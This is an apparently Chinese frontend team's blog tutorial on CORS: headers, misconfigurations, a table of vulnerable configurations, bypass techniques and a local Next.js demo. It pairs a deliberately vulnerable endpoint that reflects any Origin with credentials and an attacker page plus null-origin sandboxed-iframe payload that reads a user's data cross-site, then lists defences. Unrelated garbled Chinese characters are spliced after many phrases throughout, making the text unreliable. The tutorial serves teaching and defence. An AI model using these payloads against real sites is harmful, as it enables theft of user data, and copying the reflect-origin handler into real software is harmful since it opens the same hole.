我們是袋鼠云數(shù)棧 UED 團隊,致力于打造優(yōu)秀的一站式數(shù)據(jù)中臺產(chǎn)品规丽。我們始終保持工匠精神绒怨,探索前端道路造虎,為社區(qū)積累并傳播經(jīng)驗價值第队。
本文作者:霽明
什么是CORS
CORS(跨域資源共享)是一種基于HTTP頭的機制哮塞,可以放寬瀏覽器的同源策略,實現(xiàn)不同域名網(wǎng)站之間的通信凳谦。
前置知識
同源定義:協(xié)議忆畅、域名、端口號一致即為同源尸执。
CORS主要相關(guān)標(biāo)頭:
Access-Control-Allow-Origin:指定該響應(yīng)的資源是否允許與給定的來源(origin)共享家凯。
Access-Control-Allow-Credentials:用于在請求要求包含 credentials 時,告知瀏覽器是否可以將對請求的響應(yīng)暴露給前端 JavaScript 代碼如失。
CORS使用
常規(guī)使用方式
將ACAO標(biāo)頭指定為特定的源绊诲,Access-Control-Allow-Origin: http://a.b.com
如果請求需要攜帶憑證(例如cookies、authorization headers 或 TLS client certificates)褪贵,需要將ACAC標(biāo)頭設(shè)置為true驯镊,Access-Control-Allow-Credentials: true。
另外竭鞍,前端請求方法需要配置 credentials
// XHR
const xhr = new XMLHttpRequest();
xhr.open("GET", "http://example.com/");
xhr.withCredentials = true;
xhr.send();
// Fetch
fetch(url, {
credentials: "include",
});
常見的錯誤用法
同時配置多個源
將多個源同時寫在ACAO標(biāo)頭里:
Access-Control-Allow-Origin: http://a.b.com,http://c.b.com
或者同時設(shè)置了多個ACAO標(biāo)頭:
Access-Control-Allow-Origin: http://a.b.com
Access-Control-Allow-Origin: http://c.b.com
此時跨域請求會報錯,提示只能配置一個源:
在ACAO標(biāo)頭里使用通配符
Access-Control-Allow-Origin: *.b.com
此時跨域請求會報錯橄镜,提示配置的源無效:
ACAO配置為“*”偎快,但請求攜帶了憑證
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
跨域請求時會報錯,提示當(dāng)攜帶憑證時ACAO標(biāo)頭不能為“*”:
用法小結(jié)
- ACAO 標(biāo)頭的值只能為這3種情況之一:*洽胶、指定的源(只能指定1個)晒夹、null。
- ACAC 標(biāo)頭設(shè)置為 true 時(攜帶憑證時)姊氓,ACAO 標(biāo)頭必須設(shè)置為一個指定的源丐怯。
CORS標(biāo)頭在哪里設(shè)置
代理服務(wù)器
在 Nginx 配置中,一般會在http翔横、server 或 location 模塊中設(shè)置響應(yīng)標(biāo)頭读跷,代碼示例:
add_header Access-Control-Allow-Origin http://target.dtstack.cn;
add_header Access-Control-Allow-Credentials true;
// 其他 Access-Control 標(biāo)頭
后端
可以在后端代碼中設(shè)置,部分后端框架也會設(shè)置默認值禾唁,以下是部分軟件框架默認值設(shè)置情況:
CORS漏洞
在跨域資源共享過程中效览,由于 CORS 配置不當(dāng)无切,導(dǎo)致本應(yīng)該受限的訪問請求,可以繞過訪問控制策略讀取資源服務(wù)器的數(shù)據(jù)丐枉,造成用戶隱私泄露哆键,信息竊取甚至賬戶劫持的危害。
CORS 的幾種配置情況:
序號 | Access-Control-Allow-Origin | Access-Control-Allow-Credentials | 結(jié)果 |
---|---|---|---|
1 | * | true | 存在漏洞 |
2 | 任意的源 | true | 存在漏洞 |
3 | 指定具體的源> | true | 不存在漏洞 |
4 | null | true | 存在漏洞 |
5 | * | 不設(shè)置 | 存在漏洞 |
6 | 任意的源 | 不設(shè)置 | 存在漏洞 |
7 | 指定具體的源 | 不設(shè)置 | 不存在漏洞 |
8 | null | 不設(shè)置 | 存在漏洞 |
對于情況1瘦锹,Access-Control-Allow-Origin: *籍嘹,Access-Control-Allow-Credentials: true:
- 如果請求攜帶了憑證,瀏覽器會報錯弯院,要求ACAO標(biāo)頭不能為*辱士,這種情況下是沒有漏洞的,因為請求直接失敗了抽兆。
- 如果請求不攜帶憑證(請求方法未設(shè)置 credentials)识补,則相當(dāng)于情況5,請求能正常響應(yīng)辫红,如果服務(wù)端不要求校驗憑證凭涂,則數(shù)據(jù)會被返回。
對于其他存在漏洞情況贴妻,都可以通過某些手段切油,獲取到請求返回的數(shù)據(jù),這里就不細說名惩。
攻擊方式(繞過)
可以攻擊的前提:目標(biāo)網(wǎng)站存在CORS漏洞
使用 null 源
任何使用非分級協(xié)議(如 data: 或 file:)的資源和沙盒文件的 Origin 的序列化都被定義為 “null”澎胡,這里利用 iframe 標(biāo)簽,使用 data url 格式將 src 的值直接加載為 html娩鹉,請求代碼就寫在<script>標(biāo)簽中:
<iframe
sandbox="allow-scripts allow-top-navigation allow-forms"
src='data:text/html,<script>fetch("http://target.dtstack.cn:4000/api/getUserInfo", { method: "POST", credentials: "include" })</script>'
></iframe>
在 attack.dtstack.cn 頁面加載這段代碼后就會發(fā)出請求:
Host: target.dtstack.cn:4000
Origin: null
Access-Control-Allow-Credentials: true
Access-Control-Allow-Origin: null
由于 Origin 和 ACAO 標(biāo)頭匹配攻谁,所以接口能正常響應(yīng)獲取到數(shù)據(jù)。
使用符合匹配規(guī)則的域名
例如目標(biāo)域名是 target.top弯予,當(dāng) origin 匹配規(guī)則為包含 target.top 字符串時戚宦,攻擊網(wǎng)站可以通過以下幾種方式去繞過 origin 校驗,使得請求響應(yīng)的 ACAO 標(biāo)頭為攻擊站點锈嫩,從而成功進行跨域請求受楼。
- 目標(biāo)域名作為子域名:target.top.attack.com
- 攻擊域名包含子域名字符串:attacktarget.top
- 控制目標(biāo)域名的子域名:attack.target.top
當(dāng)目標(biāo)網(wǎng)站是直接使用請求頭的 Origin 作為響應(yīng)的 ACAO 標(biāo)頭時,相當(dāng)于允許任意站點進行跨域請求呼寸。
有時目標(biāo)網(wǎng)站會信任某些第三方網(wǎng)站艳汽,例如一些云服務(wù)網(wǎng)站,這時如果攻擊者使用同一云服務(wù)商的產(chǎn)品(源相同)对雪,也可以對目標(biāo)站點發(fā)起跨域請求河狐。
攻擊 Demo 演示
在本地使用 Next.js 搭建兩個站點,一個是 target.dtstack.cn:4000,一個是 attack.dtstack.cn:3000甚牲。
target 站點實現(xiàn)
target 站點有一個查詢用戶信息接口义郑,并且 CORS 配置存在漏洞,target 站點首頁可以通過接口獲取用戶信息丈钙。
頁面代碼圖如下:
'use client';
import { useState } from 'react';
const url = '/api/getUserInfo';
export default function Home() {
const [data, setData] = useState('');
const getData = () => {
setData('請求數(shù)據(jù)...');
fetch(url, { method: 'POST' })
.then((res) => res.json())
.then((data: Record<string, any>) => {
setData(JSON.stringify(data, null, 2));
})
.catch(() => {
setData('請求數(shù)據(jù)失敗');
});
};
return (
<div>
<h3>This is target site</h3>
<button onClick={getData} style={{ margin: "0 0 12px" }}>
獲取數(shù)據(jù)
</button>
<div>
<textarea
readOnly
value={data}
style={{ width: 500, height: 500 }}
/>
</div>
</div>
);
}
查詢用戶信息接口直接將請求的 Origin 設(shè)置為 ACAO 標(biāo)頭非驮,且 ACAC 標(biāo)頭設(shè)置為 true,代碼如下:
export default async function handler(
req: NextApiRequest,
res: NextApiResponse
) {
const cors = Cors({
origin: req.headers.origin,
credentials: true,
methods: ['POST', 'GET', 'HEAD'],
});
await runMiddleware(req, res, cors);
res.setHeader('Set-Cookie', 'user_name=admin; Domain=.target.dtstack.cn; Expires=Fri, 26 Apr 2024 07:13:04 GMT; Path=/;');
res.json({ username: 'admin' });
}
attack 站點實現(xiàn)
attack 站點可以在頁面上雏赦,發(fā)起對 target 站點查詢用戶信息接口的請求
頁面實現(xiàn)代碼如下:
'use client';
import { useState } from 'react';
const targetUrl = 'http://target.dtstack.cn:4000/api/getUserInfo';
export default function Home() {
const [data, setData] = useState('');
const getData = (url: string) => {
setData('請求數(shù)據(jù)...');
fetch(url, {
method: 'POST',
credentials: 'include',
})
.then((res) => res.json())
.then((data: Record<string, any>) => {
setData(JSON.stringify(data, null, 2));
})
.catch(() => {
setData('請求數(shù)據(jù)失敗');
});
};
return (
<div>
<h3>This is attack site</h3>
<button
onClick={() => getData(targetUrl)}
style={{ margin: '0 12px 12px 0' }}
>
獲取target數(shù)據(jù)
</button>
<div>
<textarea
readOnly
value={data}
style={{ width: 500, height: 500 }}
/>
</div>
<iframe
sandbox="allow-scripts allow-top-navigation allow-forms"
src='data:text/html,<script>fetch("http://target.dtstack.cn:4000/api/getUserInfo", { method: "POST", credentials: "include" })</script>'
></iframe>
</div>
);
}
攻擊過程
獲取 target 站點數(shù)據(jù)
打開 attack 頁面劫笙,請求 target 站點的http://target.dtstack.cn:4000/api/getUserInfo
接口
請求頭:
Host: target.dtstack.cn:4000
Origin: http://attack.dtstack.cn:3000
響應(yīng)頭:
Access-Control-Allow-Credentials: true
Access-Control-Allow-Origin: http://attack.dtstack.cn:3000
此時成功獲取到了target站點的用戶數(shù)據(jù):
如果想要在非同站情況下發(fā)送cookie,SameSite屬性需要為None星岗,且必須同時設(shè)置Secure屬性填大,而Secure屬性在使用Https協(xié)議時才可以使用。使用目前最新版的Chrome (v124)俏橘、Edge (v124)、Firefox (v125)進行測試寥掐,F(xiàn)irefox和Chrome不會發(fā)送目標(biāo)站點cookie靴寂,而Edge會發(fā)送召耘。
防御方式(最佳實踐)
- 非必要的話百炬,不要開啟 CORS。
- 定義白名單污它,對允許的源嚴格校驗剖踊,ACAO 標(biāo)頭不要設(shè)置為*,origin 也盡量不要使用正則進行校驗衫贬,避免匹配錯誤德澈。
- 使用 https,防止中間人攻擊固惯。
- 配置 Vary 標(biāo)頭包含 Origin圃验,例如 Vary: Origin,請求的 Origin 變化時更新數(shù)據(jù)缝呕,避免攻擊者利用緩存。
- 非必要時不啟用 ACAC 標(biāo)頭斧散,防止本地憑證被攻擊者利用供常。
- 限制允許的請求方法,通過 Access-Control-Allow-Methods 標(biāo)頭設(shè)置允許請求的方法鸡捐,降低風(fēng)險栈暇。
- 限制緩存時間,通過 Access-Control-Max-Age 標(biāo)頭設(shè)置預(yù)檢請求返回結(jié)果的緩存時間箍镜,確保瀏覽器短時間內(nèi)可以更新緩存源祈。
- 僅配置需要的響應(yīng)標(biāo)頭煎源,當(dāng)接收到跨域請求時才配置相關(guān)標(biāo)頭,減少攻擊者的惡意利用香缺。
參考鏈接
- https://developer.mozilla.org/zh-CN/docs/Web/HTTP/CORS
- https://www.bedefended.com/papers/cors-security-guide
最后
歡迎關(guān)注【袋鼠云數(shù)棧UED團隊】~
袋鼠云數(shù)棧 UED 團隊持續(xù)為廣大開發(fā)者分享技術(shù)成果手销,相繼參與開源了歡迎 star